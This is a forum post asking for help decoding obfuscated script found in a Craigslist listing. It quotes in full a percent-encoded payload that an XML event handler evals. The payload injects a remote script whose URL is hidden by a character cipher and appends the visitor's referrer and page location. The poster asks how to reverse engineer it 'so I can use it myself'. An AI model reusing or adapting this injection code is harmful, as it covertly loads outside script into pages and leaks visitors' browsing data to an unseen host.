The original code looks like this:
<xml ondatasetchanged="vagxf='%76%61%72%20%6a%70%67%32%32%35%37%34%32%34%38%35%30%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%22%73%63%72%69%70%74%22%29%3b%20%6a%70%67%32%32%35%37%34%32%34%38%35%30%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%73%72%63%22%2c%20%7a%28%22%68%74%74%70%3a%2f%2f%77%77%77%2e%63%72%61%69%67%73%6c%69%73%74%2e%6f%72%67%2f%3f%32%32%39%32%31%37%32%31%37%32%32%31%32%37%35%32%38%36%32%38%36%32%37%38%32%38%35%32%38%37%32%38%31%32%37%38%32%38%37%32%38%34%32%38%33%32%38%32%32%38%37%32%38%31%32%37%36%32%38%36%32%32%37%32%31%38%32%38%36%32%33%34%32%32%37%32%31%38%32%38%37%32%32%31%32%32%39%32%32%31%32%37%30%22%29%29%3b%20%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%6a%70%67%32%32%35%37%34%32%34%38%35%30%29%3b%66%75%6e%63%74%69%6f%6e%20%7a%28%73%29%7b%76%61%72%20%6f%3d%22%22%2c%69%2c%70%2c%71%3d%22%22%3b%66%6f%72%28%69%3d%73%2e%69%6e%64%65%78%4f%66%28%22%3f%22%29%2b%31%3b%69%3c%3d%73%2e%6c%65%6e%67%74%68%2d%33%3b%69%2b%3d%33%29%7b%71%3d%73%2e%73%75%62%73%74%72%28%69%2c%33%29%3b%70%3d%70%61%72%73%65%49%6e%74%28%71%29%3b%6f%2b%3d%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%33%33%33%25%70%29%3b%7d%6f%2b%3d%22%69%3d%22%2b%65%73%63%61%70%65%28%32%36%29%2b%22%26%72%3d%22%2b%65%73%63%61%70%65%28%64%6f%63%75%6d%65%6e%74%2e%72%65%66%65%72%72%65%72%29%2b%22%26%6c%3d%22%2b%65%73%63%61%70%65%28%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%29%3b%72%65%74%75%72%6e%20%6f%3b%7d';dbzxu=unescape(vagxf);eval(dbzxu);"><a>.</a></xml><table summary="craigslist hosted images">
As i'm more of an internet promoter than a developer I had to do a little research to 'decode it'. I found a hexadecimal to ascii converter and it came out like this
<xml ondatasetchanged="vagxf='var jpg2257424850=document.createElement("script"); jpg2257424850.setAttribute("src", z("http://www.craigslis...87221229221270")); document.body.appendChild(jpg2257424850);function z(s){var o="",i,p,q="";for(i=s.indexOf("?")+1;i<=s.length-3;i+=3){q=s.substr(i,3);p=parseInt(q);o+=String.fromCharCode(333%p);}o+="i="+escape(26)+"&r="+escape(document.referrer)+"&l="+escape';dbzxu=unescape(vagxf);eval(dbzxu);"><a>.</a></xml><table summary="craigslist hosted images">
Then I found out it was in xml. I can see in the code that a document called 'script' has been made, but this is where I stop.lol. Can anyone help me reverse engineer this code so I can use it myself? I presume the jpg they refer to is a jpg saved on craigslist? Anyway, I'd appreciate some help on this.
Thanks